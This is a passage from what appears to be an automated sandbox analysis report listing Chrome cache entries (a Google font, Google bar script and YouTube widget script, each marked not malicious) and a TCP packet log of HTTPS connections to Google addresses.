SSDEEP:	768:8pJf8lXHzTyT3P9QWCHmzL3WbHPBBWQfIKkydgMbG48B/u:u0lDTyrKWCHeL3OBDwKdmp9u
MD5:	1ACA735014A6BB648F468EE476680D5B
SHA1:	6D28E3AE6E42784769199948211E3AA0806FA62C
SHA-256:	E563F60814C73C0F4261067BD14C15F2C7F72ED2906670ED4076EBE0D6E9244A
SHA-512:	808AA9AF5A3164F31466AF4BAC25C8A8C3F19910579CF176033359500C8E26F0A96CDC68CCF8808B65937DC87C121238C1C1B0BE296D4306D5D197A1E4C38E86
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPjIUvQ.woff2
Preview:	wOF2..............X......................................4?HVAR.k.`?STAT..'...J/<.....`..(..Z.0..N.6.$.... .....K..[O;q..w....z.....%.O.t'.R....6.{..@.k......C.B..Z.uU.}..!.".....]jK.`&.\..4...US.......x..C...1g.:.+.?.t<....J...C.p.c..J...........V..H1.6.~..n.]~"R>..s....7....FE1.S/m....}..<....M..IHB.._8.d.3"......8..t.;f._~X.A.&n.1..t..v...n.._............eS.......!V."v6.xm\|M..O.z..,....,...N.1......y^7...^^.$.!.$<V..B....."j..!2..Y"..{w!..Z.[...]H....M-.".8j.<..X.[{..UI....ML.J.?4B.....]..4..()^Bi.4iD/..]....../I.-.J[D...........c...)63.U.rFpW5}.9$..2...t..:.MW.c.N...lK...3^......./..v. !...;..v.w./^S...\U....\|.......Y9...a.z.....i..$J.U...Ks....0Q.........iy.....M..@..........&..c.kh.(<.O.....~..#.-.gfw.t...nbo...]0'G.!.2.8....y.K..;%......_).W..?.'.DTR.H....G.Al..d......g>.6..(.."4l...3$...\_.W}..R...\.o........`..q...@XG.wpN......!....&...\.&.....N..5..n......g..bR......HV...s...e..r.0ty&.SW.j.{I...".m .s..T....l....@th:..aM.

Chrome Cache Entry: 98

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	dropped
Size (bytes):	218287
Entropy (8bit):	5.5229838275997345
Encrypted:	false
SSDEEP:	6144:kVD30WZjJM0PuJQ+ApsOOFZNnv+lqOQMmsWrBQoSpFMgDu4HTNhYAVQIfUEQHNvZ:kVD3XZjJM0Puq+ApsOOFZNnv+lqOQMmJ
MD5:	F8C823C13B80A1921201903D66702912
SHA1:	67EDA9BC295AE9779F9FCDAF5500459E5C9F186E
SHA-256:	7C28EE8D4500E460968A2321FFBF39EF3F3850E4643B14F30D8304CDC6142E9F
SHA-512:	7B3606161F56E5D73C0CA5FAF29CD9C3E459290898F1FB42373C03EC4D9F2EF2D3AC1A2931D8EAF9A84EBF26265757ACAD28CF2C4BFA314131FCCFF2431066E3
Malicious:	false
Reputation:	low
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ad=typeof AsyncContext!=="undefined"&&typeof AsyncContext.Snapshot==="function"?a=>a&&AsyncContext.Snapshot.wrap(a):a=>a;.}catch(e){_._DumpException(e)}.try{._.te=function(a){return _.Hb(a)&&a.nodeType==1};_.ue=function(a,b){if("textContent"in a)a.textContent=b;else if(a.nodeType==3)a.data=String(b);else if(a.firstChild&&a.firstChild.nodeType==3){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.qe(a),a.appendChild(_.ge(a).createTextNode(String(b)))};var ve;_.we=function(a,b,c){Array.isArray(c)&&(c=c.join(" "));const d="aria-"+b;c===""\|\|c==void 0?(ve\|\|(ve={atomic:!1,autocomplete:"none",dropeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text",required:!1,sort:"none",busy:!1,disabled:!1,hidden:!1,invalid:"false"}),c=ve,b in c?a.setAttribute(d,c[b]):a.removeAttribute(d)):a.setAttribute(d,c)};var Ae;_.ze=func

Chrome Cache Entry: 99

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (561)
Category:	downloaded
Size (bytes):	30884
Entropy (8bit):	5.396878850736056
Encrypted:	false
SSDEEP:	384:4o63kjilKDknpjTqty5qTWZhuHjiyBMAtmN4C4SYCG3EzZYBFS/+0O/txrncOnk5:Utlrpgy5GZHm4C4N10kv0O/zrYe1M
MD5:	32C99FE6533A025BDB08BDE87A9B4F6E
SHA1:	F1B48F220F4B4B81CCDBB1A9289B821A66CFA1D3
SHA-256:	14939503C8A97BEF459CE94218F0E65933AB569F7B1D726BCB0B3C1031EBCCF9
SHA-512:	8D454CC89659899B923B9467FD1F488F0DEA432D4FDAEDB59FAA83C29D4FEDD045AA445BE34D094103E4D81BD4773B61F926C381F14FC7388E34D89D51F4582D
Malicious:	false
Reputation:	low
URL:	https://youtube.googleapis.com/s/player/03dbdfab/www-widgetapi.vflset/www-widgetapi.js
Preview:	(function(){'use strict';var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}.var r=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}.var t=da(this);function u(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var g=a[d];if(!(g in c))break a;c=c[g]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&r(c,a,{configurable:!0,writable:!0,value:b})}}.u("Symbol",function(a){function b(k){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(k\|\|"")+"_"+g++,k)}.function c(k,e){this.g=k;r(this,"description",{configurable:!0,writable:!0,value:e

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 01:21:07.775219917 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:07.775257111 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:07.775346041 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:07.775604010 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:07.775628090 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:09.549352884 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:09.552481890 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:09.552509069 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:09.553915024 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:09.553996086 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:09.555064917 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:09.555149078 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:09.599561930 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:09.599572897 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:09.645487070 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:19.175235987 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:19.175398111 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:19.175455093 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:20.104496002 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:20.104516983 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:20.138606071 CET	49723	80	192.168.2.4	199.232.214.172
Dec 20, 2024 01:21:20.258650064 CET	80	49723	199.232.214.172	192.168.2.4
Dec 20, 2024 01:21:20.258704901 CET	49723	80	192.168.2.4	199.232.214.172
Dec 20, 2024 01:21:21.897352934 CET	49766	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:21.897378922 CET	443	49766	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:21.897428036 CET	49766	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:21.897581100 CET	49766	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:21.897588968 CET	443	49766	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:23.597666025 CET	443	49766	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:23.615204096 CET	49766	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:23.615221024 CET	443	49766	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:23.615781069 CET	443	49766	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:23.615837097 CET	49766	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:23.616775036 CET	443	49766	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:23.616825104 CET	49766	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:23.622556925 CET	49766	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:23.622633934 CET	443	49766	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:23.622812986 CET	49766	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:23.622819901 CET	443	49766	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:23.665427923 CET	49766	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.302979946 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.303014994 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:24.303077936 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.303445101 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.303458929 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:24.400417089 CET	443	49766	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:24.400748014 CET	49766	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.400790930 CET	443	49766	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:24.400840998 CET	49766	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.401499033 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.401521921 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:24.401595116 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.402008057 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.402020931 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:24.422679901 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.422733068 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:24.422802925 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.423243046 CET	49778	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.423261881 CET	443	49778	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:24.423317909 CET	49778	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.423688889 CET	49778	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.423701048 CET	443	49778	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:24.423891068 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.423934937 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:24.693942070 CET	49785	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.693969965 CET	443	49785	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:24.694031954 CET	49785	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.694437981 CET	49785	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:24.694449902 CET	443	49785	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.008215904 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.019490004 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.019511938 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.020951986 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.021029949 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.023473024 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.023526907 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.027156115 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.027359962 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.030673981 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.030680895 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.030698061 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.071337938 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.073141098 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.092050076 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.115587950 CET	443	49778	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.121721029 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.121731043 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.122102976 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.122154951 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.122807026 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.122850895 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.124794960 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.136413097 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.136423111 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.136708021 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.136770010 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.137662888 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.137717009 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.139862061 CET	49778	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.139869928 CET	443	49778	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.139976025 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.139981031 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.140007973 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.140058041 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.140161991 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.140213966 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.140249014 CET	443	49778	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.140305042 CET	49778	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.140944958 CET	443	49778	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.140988111 CET	49778	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.141011953 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.141206980 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.141691923 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.141700983 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.141730070 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.141757965 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.142188072 CET	49778	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.142250061 CET	443	49778	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.142267942 CET	49778	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.142318010 CET	49778	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.142323017 CET	443	49778	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.181729078 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.183271885 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.193622112 CET	49778	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.385946989 CET	443	49785	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.386133909 CET	49785	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.386152029 CET	443	49785	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.386646986 CET	443	49785	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.386708975 CET	49785	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.387670994 CET	443	49785	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.387721062 CET	49785	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.387851954 CET	49785	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.387917042 CET	443	49785	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.387947083 CET	49785	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.388016939 CET	49785	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.388025045 CET	443	49785	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.428482056 CET	49785	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.770430088 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.774167061 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.774228096 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.775080919 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.775100946 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.920025110 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.924083948 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.924125910 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.925780058 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.925796032 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.929759979 CET	49790	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.929811001 CET	443	49790	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.929869890 CET	49790	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.930382967 CET	49790	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.930403948 CET	443	49790	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.945822001 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.947249889 CET	443	49778	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.949763060 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.949814081 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.951190948 CET	443	49778	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.951239109 CET	49778	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.951283932 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.951293945 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:26.954149961 CET	49778	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:26.954160929 CET	443	49778	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:27.196440935 CET	443	49785	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:27.200377941 CET	443	49785	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:27.201399088 CET	49785	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:27.201399088 CET	49785	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:27.508447886 CET	49785	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:27.508466959 CET	443	49785	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:28.624255896 CET	443	49790	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:28.671222925 CET	49790	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:28.671546936 CET	49790	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:28.671555042 CET	443	49790	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:28.672308922 CET	443	49790	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:28.672373056 CET	49790	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:28.673305988 CET	443	49790	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:28.673351049 CET	49790	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:28.742104053 CET	49790	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:28.742211103 CET	443	49790	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:28.742547989 CET	49790	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:28.742563963 CET	443	49790	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:28.782639027 CET	49790	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:29.475565910 CET	443	49790	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:29.475620031 CET	443	49790	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:29.475668907 CET	49790	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:29.475697994 CET	443	49790	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:29.477034092 CET	49790	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:29.477077007 CET	443	49790	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:29.477150917 CET	49790	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:29.477977037 CET	49801	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:29.478032112 CET	443	49801	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:29.478111982 CET	49801	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:29.478547096 CET	49801	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:29.478565931 CET	443	49801	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:29.493391991 CET	49802	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:29.493432045 CET	443	49802	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:29.493556976 CET	49802	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:29.493829012 CET	49802	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:29.493841887 CET	443	49802	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:29.843349934 CET	49806	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:29.843436956 CET	443	49806	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:29.843930006 CET	49806	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:29.844216108 CET	49806	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:29.844254017 CET	443	49806	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:30.872905970 CET	49808	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:30.873007059 CET	443	49808	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:30.873146057 CET	49808	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:30.873321056 CET	49808	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:30.873358011 CET	443	49808	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:31.192060947 CET	443	49802	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.192337990 CET	49802	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.192364931 CET	443	49802	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.192734957 CET	443	49802	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.193058968 CET	49802	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.193135977 CET	443	49802	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.193185091 CET	49802	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.193284988 CET	49802	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.193312883 CET	443	49802	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.195172071 CET	443	49801	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.195363045 CET	49801	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.195414066 CET	443	49801	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.196675062 CET	443	49801	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.196772099 CET	49801	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.199048042 CET	443	49801	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.199114084 CET	49801	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.199244976 CET	49801	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.199350119 CET	443	49801	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.199352980 CET	49801	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.243415117 CET	443	49801	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.245592117 CET	49801	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.245631933 CET	443	49801	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.292793036 CET	49801	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.551893950 CET	443	49806	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.552083969 CET	49806	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.552126884 CET	443	49806	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.552658081 CET	443	49806	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.552938938 CET	49806	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.553034067 CET	443	49806	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.553318024 CET	49806	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.553359032 CET	49806	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.553416014 CET	443	49806	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.930366039 CET	443	49802	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.933372021 CET	443	49802	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:31.933435917 CET	49802	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.933532000 CET	49802	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:31.933559895 CET	443	49802	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:32.001411915 CET	443	49801	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:32.001545906 CET	443	49801	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:32.001610994 CET	49801	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:32.001640081 CET	443	49801	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:32.002305984 CET	49801	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:32.002394915 CET	443	49801	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:32.002455950 CET	49801	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:32.003339052 CET	49809	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:32.003421068 CET	443	49809	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:32.003493071 CET	49809	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:32.003917933 CET	49809	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:32.003952026 CET	443	49809	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:32.007220984 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:32.007257938 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:32.007318020 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:32.007509947 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:32.007524967 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:32.358280897 CET	443	49806	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:32.360899925 CET	443	49806	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:32.360963106 CET	49806	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:32.361134052 CET	49806	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:32.361176968 CET	443	49806	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:32.567193985 CET	443	49808	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:32.569144964 CET	49808	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:32.569179058 CET	443	49808	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:32.569653034 CET	443	49808	142.250.181.132	192.168.2.4
